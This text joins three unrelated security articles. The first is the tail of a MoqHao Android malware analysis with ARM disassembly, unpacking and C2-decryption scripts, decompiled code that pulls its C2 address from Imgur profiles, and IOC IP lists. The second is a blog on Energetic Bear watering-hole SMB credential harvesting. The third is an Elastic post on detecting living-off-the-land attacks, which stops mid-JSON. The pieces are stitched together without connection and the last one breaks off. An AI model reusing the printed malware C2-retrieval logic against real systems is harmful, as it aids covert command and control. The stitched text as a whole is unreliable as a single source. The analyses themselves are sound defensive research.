<_ZN7_JNIEnv13CallIntMethodEP8_jobjectP10_jmethodIDz@plt> 8ce8 : mov r8, r0 8cea : cmp r0, #0 8cec : blt.n 8d4e <Java_s_ni_pi@@Base+0x23e> 8cee : ldr.w r0, [fp] 8cf2 : ldr.w r3, [r0, #736] ; offset of GetByteArrayElements in JNIEnv struct 8cf6 : mov r0, fp 8cf8 : mov r1, r5 8cfa : movs r2, #0 8cfc : blx r3 8cfe : add r6, sp, #32 8d00 : mov r5, fp 8d02 : mov r9, r0 ; r9 = @(bytes array return by GetByteArrayElements) 8d04 : mov.w fp, #0 ; i = 0 8d08 : b.n 8d32 <Java_s_ni_pi@@Base+0x222> ; [*] Loop to XOR (byte per byte) the byte array with r4 8d0a : ldrb.w r1, [r9, fp] ; r1 = resource[i], resource byte at index i 8d0e : ldrd r0, r2, [sp, #36] ; r0 = vector.lpLastData, r2 = vector.lpEnd 8d12 : eors r1, r4 ; r1 ^= r4 (r4 is still equal to the 11th bytes of the resource) 8d14 : cmp r0, r2 ; cmp vector.lpLastData == vector.lpEnd 8d16 : strb.w r1, [r7, #-185] 8d1a : bcs.n 8d26 <Java_s_ni_pi@@Base+0x216> 8d1c : strb r1, [r0, #0] 8d1e : ldr r0, [sp, #36] ; *(vector.lpLastData) = r1 (unxored byte) 8d20 : adds r0, #1 ; vector.lpLastData += 1 8d22 : str r0, [sp, #36] 8d24 : b.n 8d2e <Java_s_ni_pi@@Base+0x21e> 8d26 : mov r0, r6 ; r0 = @vector 8d28 : mov r1, sl ; r1 = unxored byte ; https://stackoverflow.com/questions/51457322/what-is-stdvector-emplace-back-slow-path-stdvector-push-back-slow-path 8d2a : blx 7d70 <_ZNSt6__ndk16vectorIaNS_9allocatorIaEEE21__push_back_slow_pathIaEEvOT_@plt> 8d2e : add.w fp, fp, #1 ; i = i + 1 8d32 : cmp fp, r8 ; cmp i == number of bytes read by InputStream -> int read(byte[] b) 8d34 : blt.n 8d0a <Java_s_ni_pi@@Base+0x1fa> ; jmp 0x8d0a (XOR loop) ``` I would like to thank Christophe for helping me on the ARM reverse engineering. The resource (from the 12th byte to the end of the file) is XORed with the 11th byte of this same resource. So, we have the XOR key! Let’s write a Python script to automatically unpack the resource. The size of the unpacked resource is indicated on bytes 8, 9, and 10 but is not used in the assembly code. We will use the size in the Python script to make it more stable. ```python #!/usr/bin/env python3 from sys import argv, exit as sys_exit from zlib import decompress def unpack(path): """Unpack resource of MoqHao malware.""" with open(path, "rb") as resource, open(path + ".dex", "wb") as dex: data = resource.read() size = data[10] | data[9] << 8 | data[8] << 16 xor_key = data[11] dec = bytes(data[12 + i] ^ xor_key for i in range(size)) dex.write(decompress(dec)) print("[*] Unpacked at '" + path + ".dex'.") if __name__ == "__main__": if len(argv) != 2: print("[!] Usage : " + argv[0] + " <resource>") sys_exit(1) unpack(argv[1]) ``` Once we run the script, we get a Dalvik dex file. ```bash $ python3 unpack.py rosolhvtig/assets/xmdop/1eqlsfh [*] Unpacked at 'rosolhvtig/assets/xmdop/1eqlsfh.dex'. $ file rosolhvtig/assets/xmdop/1eqlsfh.dex rosolhvtig/assets/xmdop/1eqlsfh.dex: Dalvik dex file version 035 ``` We can check that our script works correctly by comparing the obtained file with the resource unpacked by MoqHao. ```bash $ sha256sum rosolhvtig/assets/xmdop/1eqlsfh.dex 3ec148623983c6f68b522a182d72330d93ed62e5f57db81c40b8bbad128e1541 rosolhvtig/assets/xmdop/1eqlsfh.dex $ adb shell sha256sum /data/data/fzicp.hmoj.zqzf.cnuxf/files/b 3ec148623983c6f68b522a182d72330d93ed62e5f57db81c40b8bbad128e1541 /data/data/fzicp.hmoj.zqzf.cnuxf/files/b ``` We are good! Now, let’s dive into the new DEX code analysis. ### Retrieve C2 URL From the previous code analysis, we know that the unpacked resource is run by creating a new object of the class `com.Loader`. `jadx-gui` gives us some statistics about the DEX file: - Classes: 615 - Methods: 2876 We will not go through all the classes and methods, but only the more important ones. In the code, we can see a lot of HTTP requests. To find where to start static code analysis, let’s run the application with Burpsuite as a proxy. Maybe we will obtain a good entry point to focus our research on. When we start MoqHao, the following HTTP request is made: **HTTP Request in Plaintext:** ``` GET /user/shaoye99/about HTTP/2 Host: imgur.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 Accept: text/html,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;0.8,en;q=0.6 Cache-Control: no-cache Connection: Keep-Alive ``` Let’s visit the link, hxxps://imgur.com/user/shaoye99/about: The about section of the profile seems to contain encrypted data. Let’s use the previous information to start static code analysis. By searching for the string `shaoye99`, we came across the following line which is very interesting. ```java private final String f279m = "chrome|shaoye77@imgur|shaoye88@imgur|shaoye99@imgur"; ``` We can look for some cross-references and we get the following big function. ```java public final String getDefaultAccounts() { return this.f279m; } public final String mo333a() { // ... String string = Loader.access$getPreferences$p(Loader.this).getString("addr_accounts", Loader.this.getDefaultAccounts()); // string = "chrome|shaoye77@imgur|shaoye88@imgur|shaoye99@imgur"; C0474i.m321c(string, "addrAccountsStr"); m204M = C0533v.m204M(string, new char[]{'|'}, false, 0, 6, null); // split on '|' String locale = Locale.getDefault().toString(); C0474i.m321c(locale, "Locale.getDefault().toString()"); m217i = C0532u.m217i(locale, "ko", false, 2, null); if (m217i) { access$getPreferences$p = Loader.access$getPreferences$p(Loader.this); obj = m204M.get(1); // if locale is 'ko', then use 'shaoye77@imgur' } else { m217i2 = C0532u.m217i(locale, "ja", false, 2, null); if (m217i2) { access$getPreferences$p = Loader.access$getPreferences$p(Loader.this); obj = m204M.get(2); // if locale is 'ja', then use 'shaoye88@imgur' } else { access$getPreferences$p = Loader.access$getPreferences$p(Loader.this); obj = m204M.get(3); // else use 'shaoye99@imgur' } } String string2 = access$getPreferences$p.getString("account", (String) obj); // For French user, string2 = obj = 'shaoye99@imgur' if (!C0474i.m323a(string2, "unknown")) { C0474i.m321c(string2, "account"); String m759g = C0337t.m759g(string2); // Fetch C2 IP address Log.d("WS", "ACC:" + string2); if (m759g == null) { Loader.this.f276j = "DNS ERROR"; String string3 = Loader.access$getPreferences$p(Loader.this).getString("last_addr", ""); if (!C0474i.m323a(string3, "")) { m759g = string3; } this.f400c.f860a++; return m759g; } m217i3 = C0532u.m217i(m759g, "ssl://", false, 2, null); if (m217i3) { str = C0532u.m221e(m759g, "ssl://", "wss://", false, 4, null); } else { str = "ws://" + m759g; } // Store C2 IP address into 'last_addr' SharedPreferences Loader.access$getPreferences$p(Loader.this).edit().putString("last_addr", str).apply(); return str; } throw new IllegalStateException("null......"); } ``` The string `"chrome|shaoye77@imgur|sha..."` is split with the separator `|`. Then, if the locale of the phone is: - `ko` (Korean), use `shaoye77@imgur` - `ja` (Japan), use `shaoye88@imgur` - else, use `shaoye99@imgur` Then, send the imgur profile to `C0337t.m759g(string2);`. With a French phone, we will get `C0337t.m759g("shaoye99@imgur");`, this corresponds to the imgur profile we saw on Burpsuite. The `m759g` function returns the C2 IP & port (we will reverse it very soon), then store it inside “last_addr” SharedPreferences. So, to get the C2 IP address and port, we have two ways: 1. Extract `last_addr` from the SharedPreferences. 2. Analyze the function `m759g` to determine how MoqHao retrieves the C2 from the Imgur profiles. The first way is very simple, you just need to view the content of `pref.xml`: ```bash $ adb shell cat /data/data/<package_name>/shared_prefs/pref.xml <?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <int name="shut" value="4" /> <int name="create" value="4" /> <string name="last_addr">ws://107.148.160.222:28867</string> </map> ``` And bingo, we got our C2 `ws://107.148.160.222:28867`! The second way is also quite simple, we need to go through the Java code. Let’s do this by analyzing the method `C0337t.m759g(string2)`: ```java public static final String m759g(String str) { List m204M; C0474i.m320d(str, "acc"); m204M = C0533v.m204M(str, new char[]{'@'}, false, 0, 6, null); if (C0474i.m323a((String) m204M.get(1), "debug")) { return (String) m204M.get(0); } if (C0474i.m323a((String) m204M.get(1), "vk")) { return m752n((String) m204M.get(0)); } if (C0474i.m323a((String) m204M.get(1), "youtube")) { return m751o((String) m204M.get(0)); } if (C0474i.m323a((String) m204M.get(1), "ins")) { return m753m((String) m204M.get(0)); } if (C0474i.m323a((String) m204M.get(1), "GoogleDoc")) { return m756j((String) m204M.get(0)); } if (C0474i.m323a((String) m204M.get(1), "GoogleDoc2")) { return m755k((String) m204M.get(0)); } if (C0474i.m323a((String) m204M.get(1), "blogger")) { return m758h((String) m204M.get(0)); } if (C0474i.m323a((String) m204M.get(1), "blogspot")) { return m757i((String) m204M.get(0)); } if (!C0474i.m323a((String) m204M.get(1), "imgur")) { // if NOT EQUALS to imgur return null; } return m754l((String) m204M.get(0)); // then, imgur request is made } ``` `m759g` calls a function with the name of the profile in parameter according to the platform used (imgur, vk, youtube, googledoc, etc.). For example, the string `shaoye99@imgur` is split on `@`: - `shaoye99` = `m204M.get(0)` - `imgur` = `m204M.get(1)` With our imgur profile, we will call `m754l('shaoye99')`. Its goal is to extract the about section of the imgur profile and decrypt it with DES in CBC mode. ```java // Extract about section public static final java.lang.String m754l(java.lang.String r7) { C0474i.m320d(str, "acc"); C0482q c0482q = C0482q.f864a; String format = String.format("https://imgur.com/user/%s/about", Arrays.copyOf(new Object[]{str}, 1)); C0474i.m321c(format, "java.lang.String.format(format, *args)"); String str2 = null; try { // search for regex : // - ffgtrrt([\\w_-]+?)ffgtrrt // - bgfrewi([\\w_-]+?)bgfrewi // - htynff([\\w_-]+?)htynff // - gfjytg([\\w_-]+?)gfjytg // - dseregn([\\w_-]+?)dseregn // results in 'group' variable if (group != null) { str2 = m762d(group); } } catch (Exception e) { e.printStackTrace(); } if (str2 == null) { Log.e("MSG", "DNS ERR"); } return str2; } // Base64 decode and call function to decrypt public static final String m762d(String str) { C0474i.m320d(str, "str"); // check str is not null byte[] decode = Base64.decode(str, 8); // base64 decode C0474i.m321c(decode, "Base64.decode(str, 8)"); // check decode is not null return new String(m764b(decode, "Ab5d1Q32"), "UTF-8"); // decrypt with DES (mode CBC) } // Decrypt with KEY = IV = "Ab5d1Q32" public static final byte[] m764b(byte[] bArr, String str) { C0474i.m320d(bArr, "src"); C0474i.m320d(str, "paramString"); SecureRandom secureRandom = new SecureRandom(); Charset charset = C0510d.f880a; byte[] bytes = str.getBytes(charset); C0474i.m321c(bytes, "(this as java.lang.String).getBytes(charset)"); SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, "DES"); Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding"); byte[] bytes2 = str.getBytes(charset); C0474i.m321c(bytes2, "(this as java.lang.String).getBytes(charset)"); cipher.init(2, secretKeySpec, new IvParameterSpec(bytes2), secureRandom); byte[] doFinal = cipher.doFinal(bArr); C0474i.m321c(doFinal, "cipher.doFinal(src)"); return doFinal; } ``` As you can see, the AES key is hardcoded, `m764b(decode, "Ab5d1Q32")`, and the IV is equal to the key. We can easily make a Python script to decrypt C2 URI. ```python #!/usr/bin/env python3 from sys import argv, exit as sys_exit from base64 import urlsafe_b64decode from Crypto.Cipher import DES KEY = b"Ab5d1Q32" IV = KEY def decrypt(ciphertext): """Decrypt MoqHao C2 URI.""" for group in ["ffgtrrt", "bgfrewi", "htynff", "gfjytg", "dseregn"]: ciphertext = ciphertext.replace(group, "") data = urlsafe_b64decode(ciphertext + "==") cipher = DES.new(KEY, DES.MODE_CBC, iv=IV) return cipher.decrypt(data) if __name__ == "__main__": if len(argv) != 2: print("[!] Usage : " + argv[0] + " <ciphertext>") sys_exit(1) decrypt(argv[1]) ``` **Example:** ```bash $ python3 decrypt_c2.py [!] Usage : decrypt_c2.py <ciphertext> $ python3 decrypt_c2.py 'bgfrewiFaRPCdEp9o05vGWA-r0_i_IHXXynJgDlbgfrewi' b'[*] Cleartext : 107.148.160.222:28867\x03\x03\x03' ``` ## IOCs **C2 IP address/port:** - 107.148.160.222:28867 - 134.119.218.100:28843 - 151.106.31.51:29870 - 27.255.75.200:28856 - 27.255.75.201:38866 - 61.97.243.111:28999 **Potential C2 IP based on hunting:** - 128.14.75.141 - 107.148.160.215 - 107.148.160.224 - 107.148.160.227 - 107.148.160.251 - 107.148.160.37 - 107.148.160.68 - 107.148.164.3 - 107.148.164.6 - 128.14.75.47 - 134.119.218.98 - 134.119.218.99 - 151.106.31.50 - 151.106.31.52 - 151.106.31.53 - 151.106.31.54 - 103.249.28.194 - 103.249.28.205 - 103.249.28.211 - 103.249.28.212 - 103.249.28.213 - 103.249.28.214 - 27.255.75.199 - 27.255.75.202 - 61.97.243.112 - 61.97.243.113 - 61.97.248.14 - 61.97.248.15 - 61.97.248.16 - 103.212.222.140 - 103.212.222.141 - 103.212.222.142 - 103.212.222.143 - 103.212.222.144 - 103.212.222.145 - 103.249.28.207 - 103.249.28.208 - 103.249.28.209 - 103.249.28.210 - 61.97.248.6 - 61.97.248.8 ## Related Content Unicorn obfuscated powershell analysis
# New Insights into Energetic Bear’s Watering Hole Cyber Attacks on Turkish Critical Infrastructure **By Yonathan Klijnsma** **November 02, 2017** On October 20th, US-CERT published an alert (TA-17-293A) with information about the activities of an APT targeting the critical infrastructure sector. The report contains an extensive set of indicators with detailed context and information around them. Part of the Russian sphere of influence, the threat group discussed in the US-CERT report is the perpetrator of documented cyber espionage attacks around the world, many of which target industrial and manufacturing firms and critical infrastructure. Known by many names, the group is most prominently known as ‘Energetic Bear’ and ‘Crouching Yeti.’ Detailed analysis of Energetic Bear’s malware and activities was recently done by Kaspersky, and RiskIQ initially investigated them earlier this year. Through our web crawling network, we were able to determine that a website belonging to a Turkish energy company was being used in a watering hole attack targeting people associated with Turkish critical infrastructure. Compromised via a supply chain attack, the site was injected with credential-harvesting malware. RiskIQ then linked the malicious infrastructure to a string of related Turkish sites that were compromised for the same purpose and traced the attack back to a likely timeframe in which it began. Watering hole attacks, especially those involving supply chain compromises, have been an extremely effective method for operators of cyber espionage campaigns because they target victims of specific groups, organizations, and regions. With close but tumultuous relations between Turkey and the Russian Federation, Turkey is not a surprising target for Energetic Bear. We shared our findings with law enforcement and national CERT partners, but now that the indicators have become public per US-CERT’s publication, we want to give our unique point of view on the threat. ## Strategical Compromise for Reconnaissance Part of Energetic Bear's campaign involved strategical web compromises that give them exposure to specific targets. For example, prior activities from the group include compromising software suppliers for programmable logic controller (PLC) components used in critical infrastructure and backdooring them with the Havex malware. In the case of the campaign described in the US-CERT report, the group compromised the website of Turcas Petrol, a Turkish energy company, located at turcas.com.tr. In May 2017, during one of our crawls of Turcas’ website, RiskIQ encountered a watering hole setup in use by Energetic Bear. In the screenshot of the website, you can see four top elements: ‘Join the Turcas Energy Family,' ‘Announcements,' ‘Company News,’ and ‘TV interviews.' These separate elements are structured as iframes to other pages on the website. However, the iframe'd page for the 'Announcements' subsection was modified by Energetic Bear operators to contain a small addition in the form of an image inclusion. The image URL redirects to a link using the file:// scheme, which forces the connection through the file protocol, allowing the group to harvest Microsoft SMB credentials. This behavior was also noted by Talos, which wrote a detailed analysis of the spear-phishing emails belonging to the same campaign as this watering hole attack. It’s interesting to note that the back-end server used in the attack seems to be written using the TornadoServer Python framework used for building web and networking applications. In the case of Turcas Petrol, below is the entire chain of events we observed during the crawl. In and of itself, this compromise seems targeted at Turcas Petrol and those with a close relationship with the business, a tactic that mirrors other Energetic Bear campaigns. Essentially, the group's goal is to influence areas of interest to the Russian Federation. What we’d like to show, which seems to be missing from the US-CERT report, is the entire chain of events for this attack. RiskIQ found that the SMB credential harvesting host at 184.154.150.66 is not always directly included on the websites. Instead, the intermediary host at 103.41.177.58 is usually present on the web pages, which, in turn, redirect visitors—most likely with some filtering to avoid unwanted traffic—to the SMB harvesting host. Additionally, the URL format of the file requested, which in this case was turcas_icon.png, is not related to the referring website. Instead, Energetic Bear seems to use a form of tagging to correlate any possible victims and their source website. The format we observed is `<tag>_icon.png` and `<tag>.png`. ## Strategical Compromise for Broad Targeting The previous example of the Turcas Petrol website compromise showed specific targeting. While company-specific websites were compromised in this campaign, ‘general purpose’ websites were also amongst the victims. One such site is plantengineering.com, which serves as an information and news hub for the critical infrastructure sector. For a few months in early 2017, this website had one of its resources compromised, likely meaning that Energetic Bear operators had broad access to the server. On the main page of the website, a resource loads from /typo3conf/ext/t3s_jslidernews/res/js/jquery.easing.js as seen in our crawl. The compromised resource is a modified version of the jQuery Easing JavaScript library. At the bottom of the script, we can find the SMB credential harvesting link, which is embedded as an image element in the main page’s DOM. When we go through more of our data for this very simplified direct image inclusion, we find a pattern in the URLs and websites. Here are three of our hits: - https://www.plantengineering.com/typo3conf/ext/t3s_jslidernews/res/js/jquery.easing.js - https://www.csemag.com/typo3conf/ext/t3s_jslidernews/res/js/jquery.easing.js - https://www.controleng.com/typo3conf/ext/t3s_jslidernews/res/js/jquery.easing.js All three URLs are the same, as is the injected content. All the affected websites are news and information websites for the industrial sector, which indicates a definite pattern. So, who owns these websites? Looking at the WHOIS information in PassiveTotal, we find plantengineering.com is owned by CFE Media LLC. Reading a bit further, we find the email address [email protected] was used to register the domain. Pivoting off this address, we can see the same pattern that we saw with the URLs. From our data, RiskIQ found that controleng.com, plantengineering.com, and csemag.com were all affected by the injection from Energetic Bear. Because they’re geared toward engineers working in the critical infrastructure sector and thus prime targets for this watering hole attack, the odds are that CFE Media’s other websites were affected. In fact, CFE Media has at least six confirmed brands that publish news and information. Because we started seeing Energetic Bear's SMB-harvesting injection at the end of March and our crawl data from the end of January was still clean, RiskIQ has been able to pinpoint the start of the campaign to between the beginning of February and the end of March. ## Conclusion: Don't Feed the Bear Over the past few years, supply-chain attacks are becoming more and more prevalent in the attacker’s portfolio. JavaScript can be changed and compromised without the knowledge of the site owner, finding its way onto a site when public code was modified downstream. To prevent this, site owners must have an understanding of what belongs to their organization, how it’s connected to the rest of their asset inventory, including inventorying all the third-party code running on their web assets so they can avoid being a pawn by operators like Energetic Bear.
# ProblemChild: Detecting Living-off-the-Land Attacks Using the Elastic Stack When it comes to malware attacks, one of the more common techniques is “living off the land” (LOtL). Utilizing standard tools or features that already exist in the target environment allows these attacks to blend into the environment and avoid detection. While these techniques can appear normal in isolation, they start looking suspicious when observed in the parent-child context. This is where the ProblemChild framework can help. In this blog, we will talk about how you can use Elastic machine learning to create your own ProblemChild framework to detect LOtL activity in Windows process event data (we will be referring to Windows process events as just “events” throughout this blog). We will talk in detail about the following: - Extracting features from event metadata - Training a supervised model to classify events as malicious vs. benign - Using the trained model to enrich event data at ingest time - Picking out the most unusual events for analysts to triage ## Background Living-off-the-land binaries (LOLBins) are Microsoft-signed binaries that come pre-installed on the operating system. These binaries can sometimes have unexpected features outside of their core functionality, which attackers can leverage. For example, the task scheduler in Windows allows an admin to create, delete, run, and schedule tasks on a local computer. However, attackers may leverage the binary to bypass User Account Control (UAC) and escalate privileges. The use of these binaries complicates the discovery of the attack since adversary behavior is mixed with traditional benign operating system activity. Things get a little interesting when viewed from a parent-child lens, since unusual child processes spawned by a parent process can indicate malicious activity. For example, `word.exe` spawning `powershell.exe` could indicate a Spearphishing Attachment. Current solutions to detect LOtL attacks using parent-child relationships include writing rules and heuristics. While these solutions work well, they can sometimes be either too rigid or too lax and do not generalize well. There is also a significant amount of manual effort that goes into writing them. With ProblemChild, the goal remains the same: we hope to provide better generalization with the added advantage of ranking and prioritizing events for further investigation using machine learning. ## The ProblemChild Framework ProblemChild uses data frame analytics available in the Elastic Stack to build a supervised model to classify events as malicious or benign using features extracted from event metadata. It then uses anomaly detection to pick out “high priority” events for further analysis from those detected as malicious by the supervised model. ### Data For the supervised model, we gathered Windows process event metadata from a variety of sources like the Splunk Attack data, Splunk botsv1, Red Canary Atomic Red Team, and several internal databases. An example of a raw sample used in training is as follows: ```json { "timestamp_utc": "2019-06-14 15:31:17Z", "pid": 372, "integrity_level": "system", "elevation_type": "default", "signature_status": "trusted", "serial_event_id": 1007, "elevated": true, "signature_signer": "Microsoft Windows Publisher", "event_subtype_full": "already_running", "command_line": "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted -p", "parent_process_name": "services.exe", "ppid": 620, "sha256": "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6", "user_name": "SYSTEM", "process_path": "C:\\Windows\\System32\\svchost.exe", "user_sid": "S-1-5-18", "timestamp": 132049998770000000, "process_name": "svchost.exe", "original_file_name": "svchost.exe", "parent_process_path": "C:\\Windows\\System32\\services.exe", "unique_pid": 1007, "md5": "8a0a29438052faed8a2532da50455756", "sha1": "a1385ce20ad79f55df235effd9780c31442aa234", "unique_ppid": 1006, "event_type_full": "process_event", "opcode": 3, "user_domain": "NT AUTHORITY" } ``` ### Feature Engineering Since we wanted to focus on identifying LOtL activity using parent-child context, we started by extracting features that capture information about the process itself, its parent, and surrounding contextual information (e.g., elevation level, system user, etc.) from the raw event metadata as follows: - Process name - Parent process name - Commandline arguments - Process path - Parent process path - Event subtype - Whether event is elevated - Elevation type - Integrity level - Normalized process path - Whether process is signed - Whether signer is trusted - Whether user is running as system - Filename mismatch - Whether process name ends with exe All of the feature engineering was done using processors already available in the Elastic Stack or using custom scripts written in Painless, which were then used in script processors. A high-level breakdown of the featurization process is as follows: Since the model supports Windows process events for the Elastic Endpoint Security integration, Elastic Endgame, and Winlogbeat, we first use a script processor to standardize the field names across the different agents. We did this so the model always has the same set of input fields, regardless of the agent type. We then used script processors to build features that were derived from the common set of fields. Example: The following script processor sets the feature `feature_ends_with_exe` to `true` if the process name associated with the event ends with ".exe" and `false` otherwise. ```json { "script": { "lang": "painless", "source": """ if(ctx.feature_process_name.contains(".exe")) { ctx.feature_ends_with_exe = true } else { ctx.feature_ends_with_exe = false } """ } } ``` We noticed that minor variations like change in case, usernames, certain special characters (mainly ", /, \), and appearance of random numbers/hexadecimal values in fields like commandline arguments and process paths were affecting the performance of our models, and needed to be normalized and/or obfuscated. We also found that replacing certain Windows directories with appropriate tokens, for example replacing `windows/system32` and `windows/syswow64` with the token `win_system_dir`, further improved model performance. These normalizations and obfuscations were done using the lowercase and gsub processors available in the Elastic Stack. Example: The following processor replaces text matched by the pattern defined in the pattern field with the string `process_id` in the `feature_command_line` field. ```json { "gsub": { "field": "feature_command_line", "pattern": "[0-9a-f]{4,}-[0-9a-f]{4,}-[0-9a-f]{4,}-[0-9a-f-]{4,}", "replacement": "process_id" } } ``` Finally, we used a series of script processors to extract n-gram features from process and parent process names and paths and commandline arguments. After experimenting with different n-gram lengths, we concluded that bigrams were the most optimum fit and provided the best trade-off between dimensionality of the feature set and model performance. Example: The following processor generates bigrams for the field `feature_process_name`. ```json { "script": { "id": "ngram-extractor", "params": { "ngram_count": 2, "field": "feature_process_name", "max_length": 100 } } } ``` All the processors mentioned so far were a part of an ingest pipeline used to featurize raw events from the source index and re-index them. Please refer to the examples repository for detailed instructions on featurization and the relevant configurations, scripts, etc. An example of features created by the ingest pipeline is as follows: ```json { "feature_command_line_2-gram_feature10": "", "feature_process_parent_executable_2-gram_feature53": ".e", "feature_process_parent_executable_2-gram_feature54": "ex", "feature_process_parent_executable_2-gram_feature55": "xe", "feature_process_parent_executable_2-gram_feature56": "", "feature_process_executable_2-gram_feature49": "ka", "feature_process_executable_2-gram_feature48": """\k""", "feature_process_executable_2-gram_feature47": """r\""", "feature_command_line": "kaps.exe -u", "feature_process_executable_2-gram_feature46": "er", "feature_process_executable_2-gram_feature45": "le", "feature_process_executable_2-gram_feature44": "ll", "feature_process_executable_2-gram_feature43": "il", "feature_process_executable_2-gram_feature42": "ki", "feature_process_executable_2-gram_feature41": """\k""", "feature_process_executable_2-gram_feature40": """s\""", "feature_running_as_system": false, "feature_process_signer_trusted": true, "feature_process_parent_executable_2-gram_feature46": "er", "feature_process_parent_executable_2-gram_feature47": """r\""", "feature_process_parent_executable_2-gram_feature48": """\k""", "feature_process_parent_executable_2-gram_feature49": "ka", "feature_process_parent_executable_2-gram_feature42": "ki", "feature_process_parent_executable_2-gram_feature43": "il", "feature_process_parent_executable_2-gram_feature44": "ll", "feature_process_parent_executable": """c:\win_system_dir\drivers\rivetnetworks\killer\kaps.exe""", "feature_process_parent_executable_2-gram_feature45": "le", "feature_process_parent_executable_2-gram_feature50": "ap", "feature_process_parent_executable_2-gram_feature51": "ps", "feature_process_parent_executable_2-gram_feature52": "s.", "feature_process_executable_2-gram_feature56": "", "feature_process_executable_2-gram_feature55": "xe", "feature_process_executable_2-gram_feature54": "ex", "feature_process_executable_2-gram_feature53": ".e", "feature_process_executable_2-gram_feature52": "s.", "feature_process_executable_2-gram_feature51": "ps", "feature_process_executable_2-gram_feature50": "ap", "feature_process_name": "kaps.exe", "feature_process_executable_2-gram_feature29": "iv", "feature_process_executable_2-gram_feature28": "ri", "feature_process_executable_2-gram_feature27": """\r""", "feature_process_executable_2-gram_feature26": """s\""", "feature_process_executable_2-gram_feature25": "rs", "feature_process_executable_2-gram_feature24": "er", "feature_process_executable_2-gram_feature23": "ve", "feature_process_executable_2-gram_feature22": "iv", "feature_process_executable_2-gram_feature21": "ri", "feature_process_executable_2-gram_feature20": "dr", "feature_process_name_2-gram_feature4": ".e", "feature_process_parent_name_2-gram_feature4": ".e", "feature_process_name_2-gram_feature5": "ex", "feature_process_parent_name_2-gram_feature3": "s.", "feature_process_name_2-gram_feature6": "xe", "feature_process_parent_name_2-gram_feature2": "ps", "feature_process_name_2-gram_feature7": "", "feature_process_parent_name_2-gram_feature1": "ap", "feature_process_parent_name_2-gram_feature7": "", "feature_process_parent_name_2-gram_feature6": "xe", "feature_process_parent_name_2-gram_feature5": "ex", "feature_ends_with_exe": true, "feature_process_executable_2-gram_feature39": "ks", "feature_process_executable_2-gram_feature38": "rk", "feature_process_executable_2-gram_feature37": "or", "feature_process_executable_2-gram_feature36": "wo", "feature_process_executable_2-gram_feature35": "tw", "feature_process_executable_2-gram_feature34": "et", "feature_process_executable_2-gram_feature33": "ne", "feature_process_executable_2-gram_feature32": "tn", "feature_process_name_2-gram_feature0": "ka", "feature_process_parent_name_2-gram_feature0": "ka", "feature_process_executable_2-gram_feature31": "et", "feature_process_name_2-gram_feature1": "ap", "feature_process_executable_2-gram_feature30": "ve", "feature_process_name_2-gram_feature2": "ps", "feature_process_name_2-gram_feature3": "s.", "feature_process_parent_executable_2-gram_feature17": "32", "feature_process_parent_executable_2-gram_feature18": """2\""", "feature_process_parent_executable_2-gram_feature19": """\d""", "feature_process_parent_executable_2-gram_feature3": "wi", "feature_process_parent_executable_2-gram_feature13": "st", "feature_process_parent_executable_2-gram_feature2": """\w""", "feature_process_parent_executable_2-gram_feature14": "te", "feature_process_parent_executable_2-gram_feature5": "nd", "feature_process_parent_executable_2-gram_feature15": "em", "feature_process_parent_executable_2-gram_feature4": "in", "feature_process_parent_executable_2-gram_feature16": "m3", "feature_process_parent_executable_2-gram_feature7": "ow", "feature_process_parent_executable_2-gram_feature6": "do", "feature_process_parent_executable_2-gram_feature10": """\s""", "feature_process_parent_executable_2-gram_feature9": """s\""", "feature_process_parent_executable_2-gram_feature11": "sy", "feature_process_parent_executable_2-gram_feature8": "ws", "feature_process_parent_executable_2-gram_feature12": "ys", "feature_process_parent_executable_2-gram_feature1": """:\""", "feature_process_parent_executable_2-gram_feature0": "c:", "feature_process_signed": true, "feature_elevation_type": "limited", "feature_integrity_level": "medium", "feature_elevated": false, "feature_process_executable_2-gram_feature19": """\d""", "feature_process_executable_2-gram_feature18": """2\""", "feature_process_executable_2-gram_feature17": "32", "feature_process_executable_2-gram_feature16": "m3", "feature_process_executable_2-gram_feature15": "em", "feature_process_executable_2-gram_feature14": "te", "feature_process_executable_2-gram_feature13": "st", "feature_process_executable_2-gram_feature12": "ys", "feature_process_executable_2-gram_feature11": "sy", "feature_process_executable_2-gram_feature10": """\s""", "feature_process_executable": """c:\win_system_dir\drivers\rivetnetworks\killer\kaps.exe""", "feature_filename_mismatch": false, "feature_process_executable_2-gram_feature8": "ws", "feature_command_line_2-gram_feature4": ".e", "feature_process_executable_2-gram_feature7": "ow", "feature_command_line_2-gram_feature3": "s.", "feature_process_executable_2-gram_feature6": "do", "feature_command_line_2-gram_feature6": "xe", "feature_process_executable_2-gram_feature5": "nd", "feature_command_line_2-gram_feature5": "ex", "feature_process_parent_executable_2-gram_feature39": "ks", "feature_command_line_2-gram_feature0": "ka", "feature_command_line_2-gram_feature2": "ps", "feature_process_executable_2-gram_feature9": """s\""", "feature_command_line_2-gram_feature1": "ap", "feature_process_parent_executable_2-gram_feature35": "tw", "feature_normalized_ppath": "win_system_dir", "feature_process_parent_executable_2-gram_feature36": "wo", "feature_process_parent_executable_2-gram_feature37": "or", "feature_process_parent_executable_2-gram_feature38": "rk", "feature_process_parent_executable_2-gram_feature31": "et", "feature_process_parent_executable_2-gram_feature32": "tn", "feature_process_parent_executable_2-gram_feature33": "ne", "feature_process_parent_executable_2-gram_feature34": "et", "feature_process_parent_executable_2-gram_feature40": """s\""", "feature_process_parent_executable_2-gram_feature41": """\k""", "feature_event_action": "creation_event", "feature_process_executable_2-gram_feature0": "c:", "feature_process_executable_2-gram_feature4": "in", "feature_process_executable_2-gram_feature3": "wi", "feature_process_executable_2-gram_feature2": """\w""", "feature_process_parent_name": "kaps.exe", "feature_process_executable_2-gram_feature1": """:\""", "feature_process_parent_executable_2-gram_feature28": "ri", "feature_process_parent_executable_2-gram_feature29": "iv", "feature_process_parent_executable_2-gram_feature24": "er", "feature_process_parent_executable_2-gram_feature25": "rs", "feature_process_parent_executable_2-gram_feature26": """s\""", "label": 0, "feature_process_parent_executable_2-gram_feature27": """\r""", "feature_process_parent_executable_2-gram_feature20": "dr", "feature_process_parent_executable_2-gram_feature21": "ri", "feature_process_parent_executable_2-gram_feature22": "iv", "feature_process_parent_executable_2-gram_feature23": 